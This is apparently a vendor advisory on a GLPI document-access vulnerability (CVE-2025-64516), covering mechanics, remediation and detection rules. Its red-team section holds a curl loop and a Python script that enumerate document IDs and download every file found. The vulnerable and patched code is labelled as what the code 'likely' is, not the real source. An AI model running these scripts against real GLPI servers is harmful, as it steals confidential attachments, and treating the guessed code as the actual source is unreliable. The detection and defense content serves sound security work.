CVE-2025-64516

Executive Summary

CVE-2025-64516 is a critical authorization bypass vulnerability in GLPI, a popular open-source IT asset management software. The flaw allows an unauthorized user, including anonymous users if the public FAQ is enabled, to access documents attached to any GLPI item (e.g., tickets, assets). This leads to unauthorized disclosure of potentially sensitive information. The vulnerability affects all versions prior to 10.0.21 and 11.0.3. While no public exploit code or proof-of-concept is currently available, the risk is elevated due to the low complexity of exploitation and the potential for data leakage. The CVSS score of 7.5 (High) reflects the ease of exploitation and the high confidentiality impact.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - Impact confined to the vulnerable component.
• Confidentiality (C): High (H) - Complete information disclosure of attached documents.
• Integrity (I): None (N) - No data modification.
• Availability (A): None (N) - No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to significant data breaches, especially in environments where sensitive documents are attached to tickets or assets.

Deep Dive & Mechanics

The vulnerability resides in the document access control mechanism within GLPI. When a user requests a document attached to an item (e.g., a ticket), the application fails to properly verify that the requesting user has the necessary permissions to view that item. Specifically, the authorization check is missing or insufficient for the document download endpoint.

Root Cause: The Document class or the associated controller does not enforce item-level permissions before serving the file. The code likely checks if the document exists but does not verify if the current user has READ access to the parent item (e.g., ticket, asset, project).

Attack Vector:

1. An attacker identifies a GLPI instance (e.g., via Shodan).
2. The attacker crafts a direct request to the document download URL, typically in the format: /front/document.send.php?docid=X or similar.
3. If the public FAQ is enabled, the attacker can also trigger the request without any authentication.
4. The server returns the file content without checking if the attacker is authorized to view the associated item.

Impact: An attacker can enumerate document IDs (e.g., by brute-forcing or using predictable IDs) and download all attached files, including confidential reports, screenshots, and other sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-10.0.21 / 11.0.3): The vulnerable code likely resides in front/document.send.php or a similar controller. The authorization check is missing or incomplete.

// Vulnerable: No permission check on the parent item
$doc = new Document();
if ($doc->getFromDB($docid)) {
    $doc->send(); // Sends the file without verifying access to the linked item
}

Patched Code (10.0.21 / 11.0.3): The fix adds a permission check against the item to which the document is linked.

// Patched: Verify access to the linked item before sending the document
$doc = new Document();
if ($doc->getFromDB($docid)) {
    $itemtype = $doc->fields['itemtype'];
    $items_id = $doc->fields['items_id'];
    $item = new $itemtype();
    if ($item->getFromDB($items_id) && $item->canViewItem()) {
        $doc->send();
    } else {
        // Access denied
        http_response_code(403);
        exit;
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target GLPI instance (version < 10.0.21 or < 11.0.3).
• Public FAQ enabled (optional, for anonymous access).
• Knowledge of a valid document ID (can be brute-forced or guessed).

Exploitation Steps:

1. Identify Target: Use Shodan or Google dorking to find GLPI instances.
2. Enumerate Document IDs: Use a simple script to brute-force document IDs (e.g., 1-1000).
3. Download Documents: Send GET requests to the document download endpoint.

Example using curl:

# Brute-force document IDs
for i in $(seq 1 1000); do
    curl -s -o "doc_$i.bin" "http://target.glpi.local/front/document.send.php?docid=$i"
done

Automated Exploit (Python):

import requests
import sys

target = sys.argv[1]
for docid in range(1, 1001):
    url = f"{target}/front/document.send.php?docid={docid}"
    r = requests.get(url)
    if r.status_code == 200 and len(r.content) > 0:
        with open(f"doc_{docid}.bin", "wb") as f:
            f.write(r.content)
        print(f"[+] Downloaded document {docid}")

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual patterns of requests to /front/document.send.php with varying docid parameters.
• Alert on high volumes of 200 responses from this endpoint from a single IP.
• Look for requests to this endpoint from unauthenticated users (if public FAQ is disabled, this is anomalous).

Defense:

• Immediately apply the patch (upgrade to 10.0.21 or 11.0.3).
• If patching is delayed, disable the public FAQ feature.
• Implement Web Application Firewall (WAF) rules to block brute-force attempts.
• Restrict access to the document endpoint via network segmentation or IP whitelisting.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Repeated HTTP GET requests to /front/document.send.php with sequential or random docid parameters.
  • High volume of 200 OK responses from the same endpoint.
  • Requests from IP addresses not associated with legitimate users.

• File IOCs:

  • Unexpected files downloaded from the server (e.g., .bin, .pdf, .docx files in temporary directories).
  • Log entries showing access to documents without corresponding item access.

• Log IOCs:

  • Apache/Nginx access logs showing patterns like:

    192.168.1.100 - - [10/Oct/2025:12:00:00 +0000] "GET /front/document.send.php?docid=1 HTTP/1.1" 200 1234
    192.168.1.100 - - [10/Oct/2025:12:00:01 +0000] "GET /front/document.send.php?docid=2 HTTP/1.1" 200 5678
    

Detection Engineering

YARA Rule

rule CVE_2025_64516_GLPI_Document_Access {
    meta:
        description = "Detects exploitation attempts of CVE-2025-64516 in GLPI"
        author = "Valters IT"
        date = "2025-10-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-64516"
    strings:
        $s1 = "/front/document.send.php" ascii wide nocase
        $s2 = "docid=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: GLPI Unauthorized Document Access (CVE-2025-64516)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-64516 by accessing documents without authorization.
author: Valters IT
date: 2025/10/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-64516
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/front/document.send.php'
        cs-uri-query|contains: 'docid='
    condition: selection
falsepositives:
    - Legitimate document access by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64516 GLPI Unauthorized Document Access Attempt"; flow:to_server; content:"/front/document.send.php"; http_uri; content:"docid="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade GLPI to version 10.0.21 or 11.0.3 immediately.
2. Disable Public FAQ: If patching is not possible, disable the public FAQ feature to prevent anonymous exploitation.
3. Restrict Access: Use firewall rules to limit access to the /front/document.send.php endpoint to trusted IP ranges only.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to detect and block brute-force attempts.
• Enable logging and monitoring for all document access requests.
• Conduct regular security audits and penetration testing.
• Follow the principle of least privilege for all user roles.

Workaround (if patching is delayed):

• Modify the .htaccess file or web server configuration to require authentication for the document endpoint:

  <Location "/front/document.send.php">
      Require valid-user
  </Location>
  

Valters IT
Securing Your Digital Frontier